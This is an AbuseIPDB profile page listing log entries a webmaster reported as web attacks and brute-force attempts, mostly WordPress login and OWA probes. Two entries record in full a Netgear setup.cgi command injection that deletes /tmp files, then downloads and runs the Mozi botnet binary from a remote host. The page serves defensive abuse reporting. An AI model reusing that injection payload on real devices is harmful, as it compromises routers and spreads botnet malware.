AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User GFVAAServicesLtd , the webmaster of gfvaa.com, joined AbuseIPDB in March 2020 and has reported 6,098 IP addresses.

Standing (weight) is good.

INACTIVE USER WEBMASTER

IP	Date	Comment	Categories
🇺🇸 18.117.11.220	12 Nov 2021	18.117.11.220 - - [12/Nov/2021:18:05:00 +0000] "GET /wp/wp-login.php HTTP/1.1" 401 188 "http://giffa ... show more 18.117.11.220 - - [12/Nov/2021:18:05:00 +0000] "GET /wp/wp-login.php HTTP/1.1" 401 188 "http://giffard01.synology.me/wp/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0" ... show less	Hacking Web App Attack
🇷🇺 94.26.239.80	12 Nov 2021	94.26.239.80 - - [12/Nov/2021:17:54:25 +0000] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 401 188 "-" "r00t ... show more 94.26.239.80 - - [12/Nov/2021:17:54:25 +0000] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 401 188 "-" "r00ts3c-owned-you" ... show less	Hacking Web App Attack
🇨🇳 180.137.41.116	12 Nov 2021	180.137.41.116 - - [12/Nov/2021:16:01:30 +0000] "GET /phpinfo.php HTTP/1.1" 401 188 "-" "Go-http-cli ... show more 180.137.41.116 - - [12/Nov/2021:16:01:30 +0000] "GET /phpinfo.php HTTP/1.1" 401 188 "-" "Go-http-client/1.1" ... show less	Hacking Web App Attack
🇺🇸 192.241.210.103	12 Nov 2021	192.241.210.103 - - [12/Nov/2021:14:30:45 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp ... show more 192.241.210.103 - - [12/Nov/2021:14:30:45 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1" 401 188 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Hacking Web App Attack
🇳🇱 212.193.30.245	12 Nov 2021	212.193.30.245 - - [12/Nov/2021:13:12:46 +0000] "POST /boaform/admin/formLogin HTTP/1.1" 401 188 "ht ... show more 212.193.30.245 - - [12/Nov/2021:13:12:46 +0000] "POST /boaform/admin/formLogin HTTP/1.1" 401 188 "http://86.133.107.218:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" ... show less	Hacking Web App Attack
🇷🇺 94.26.236.40	12 Nov 2021	94.26.236.40 - - [12/Nov/2021:09:12:45 +0000] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 401 188 "-" "r00t ... show more 94.26.236.40 - - [12/Nov/2021:09:12:45 +0000] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 401 188 "-" "r00ts3c-owned-you" ... show less	Hacking Web App Attack
🇷🇺 91.122.37.169	12 Nov 2021	91.122.37.169 - - [12/Nov/2021:07:59:25 +0000] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 401 188 "-" "r00 ... show more 91.122.37.169 - - [12/Nov/2021:07:59:25 +0000] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 401 188 "-" "r00ts3c-owned-you" ... show less	Hacking Web App Attack
🇷🇺 5.188.76.100	12 Nov 2021	5.188.76.100 - - [12/Nov/2021:06:30:25 +0000] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 401 188 "-" "r00t ... show more 5.188.76.100 - - [12/Nov/2021:06:30:25 +0000] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 401 188 "-" "r00ts3c-owned-you" ... show less	Hacking Web App Attack
🇷🇺 5.188.76.98	11 Nov 2021	5.188.76.98 - - [12/Nov/2021:04:24:32 +0000] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 401 188 "-" "r00ts ... show more 5.188.76.98 - - [12/Nov/2021:04:24:32 +0000] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 401 188 "-" "r00ts3c-owned-you" ... show less	Hacking Web App Attack
🇷🇺 46.161.52.19	11 Nov 2021	46.161.52.19 - - [12/Nov/2021:04:21:10 +0000] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 401 188 "-" "r00t ... show more 46.161.52.19 - - [12/Nov/2021:04:21:10 +0000] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 401 188 "-" "r00ts3c-owned-you" ... show less	Hacking Web App Attack
🇷🇺 188.124.51.113	11 Nov 2021	188.124.51.113 - - [12/Nov/2021:04:14:26 +0000] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 401 188 "-" "r0 ... show more 188.124.51.113 - - [12/Nov/2021:04:14:26 +0000] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 401 188 "-" "r00ts3c-owned-you" ... show less	Hacking Web App Attack
🇷🇺 5.188.76.99	11 Nov 2021	5.188.76.99 - - [12/Nov/2021:03:36:56 +0000] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 401 188 "-" "r00ts ... show more 5.188.76.99 - - [12/Nov/2021:03:36:56 +0000] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 401 188 "-" "r00ts3c-owned-you" ... show less	Hacking Web App Attack
🇷🇺 109.71.14.101	11 Nov 2021	109.71.14.101 - - [12/Nov/2021:02:19:33 +0000] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 401 188 "-" "r00 ... show more 109.71.14.101 - - [12/Nov/2021:02:19:33 +0000] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 401 188 "-" "r00ts3c-owned-you" ... show less	Hacking Web App Attack
🇨🇳 36.27.140.49	11 Nov 2021	36.27.140.49 - - [12/Nov/2021:01:33:03 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd= ... show more 36.27.140.49 - - [12/Nov/2021:01:33:03 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://183.146.241.172:46426/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 401 188 "-" "-" ... show less	Hacking Web App Attack
🇨🇦 159.203.35.13	11 Nov 2021	159.203.35.13 - - [12/Nov/2021:00:57:18 +0000] "GET /system_api.php HTTP/1.1" 401 590 "-" "Mozilla/5 ... show more 159.203.35.13 - - [12/Nov/2021:00:57:18 +0000] "GET /system_api.php HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" ... show less	Hacking Web App Attack
🇺🇸 3.18.212.181	11 Nov 2021	3.18.212.181 - - [11/Nov/2021:18:38:11 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "https://www.giff ... show more 3.18.212.181 - - [11/Nov/2021:18:38:11 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "https://www.giffard.co.uk/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0" ... show less	Hacking Web App Attack
🇺🇸 192.241.209.114	11 Nov 2021	192.241.209.114 - - [11/Nov/2021:14:11:29 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp ... show more 192.241.209.114 - - [11/Nov/2021:14:11:29 +0000] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1" 401 188 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Hacking Web App Attack
🇨🇳 61.242.40.77	11 Nov 2021	61.242.40.77 - - [11/Nov/2021:11:17:56 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd= ... show more 61.242.40.77 - - [11/Nov/2021:11:17:56 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 401 188 "-" "-" ... show less	Hacking Web App Attack
🇮🇷 86.104.39.238	11 Nov 2021	86.104.39.238 - - [11/Nov/2021:05:02:40 +0000] "GET /wp-login.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 ... show more 86.104.39.238 - - [11/Nov/2021:05:02:40 +0000] "GET /wp-login.php HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ... show less	Hacking Web App Attack
🇸🇬 143.198.204.243	10 Nov 2021	143.198.204.243 - - [11/Nov/2021:00:20:11 +0000] "GET /xmlrpc.php?rsd HTTP/1.1" 401 590 "-" "Mozilla ... show more 143.198.204.243 - - [11/Nov/2021:00:20:11 +0000] "GET /xmlrpc.php?rsd HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" ... show less	Hacking Web App Attack
🇰🇼 37.38.115.213	10 Nov 2021	2021/11/10 22:59:06 [error] 768#768: 280 user "admin" was not found in "/etc/nginx/.htpasswd", clie ... show more 2021/11/10 22:59:06 [error] 768#768: 280 user "admin" was not found in "/etc/nginx/.htpasswd", client: 37.38.115.213, server: , request: "GET / HTTP/1.1", host: "86.133.107.218", referrer: "http://86.133.107.218/" 2021/11/10 22:59:06 [error] 768#768: 280 user "admin" was not found in "/etc/nginx/.htpasswd", client: 37.38.115.213, server: , request: "GET / HTTP/1.1", host: "86.133.107.218", referrer: "http://86.133.107.218/" 2021/11/10 22:59:07 [error] 768#768: 282 user "admin" was not found in "/etc/nginx/.htpasswd", client: 37.38.115.213, server: , request: "GET / HTTP/1.1", host: "86.133.107.218", referrer: "http://86.133.107.218/" 2021/11/10 22:59:07 [error] 768#768: *282 user "admin" was not found in "/etc/nginx/.htpasswd", client: 37.38.115.213, server: , request: "GET / HTTP/1.1", host: "86.133.107.218", referrer: "http://86.133.107.218/" ... show less	Brute-Force
🇸🇬 207.148.66.23	10 Nov 2021	207.148.66.23 - - [10/Nov/2021:21:55:54 +0000] "GET http://example.com/ HTTP/1.1" 401 188 "-" "-" .. ... show more 207.148.66.23 - - [10/Nov/2021:21:55:54 +0000] "GET http://example.com/ HTTP/1.1" 401 188 "-" "-" ... show less	Hacking Web App Attack
🇺🇸 63.143.41.18	10 Nov 2021	63.143.41.18 - - [10/Nov/2021:18:24:47 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 ... show more 63.143.41.18 - - [10/Nov/2021:18:24:47 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" 63.143.41.18 - - [10/Nov/2021:18:24:48 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ... show less	Hacking Web App Attack
🇨🇳 159.75.71.179	10 Nov 2021	159.75.71.179 - - [10/Nov/2021:18:24:03 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 ... show more 159.75.71.179 - - [10/Nov/2021:18:24:03 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ... show less	Hacking Web App Attack
🇺🇸 107.161.177.10	10 Nov 2021	107.161.177.10 - - [10/Nov/2021:16:32:15 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5. ... show more 107.161.177.10 - - [10/Nov/2021:16:32:15 +0000] "GET /wp-login.php HTTP/1.1" 401 188 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ... show less	Hacking Web App Attack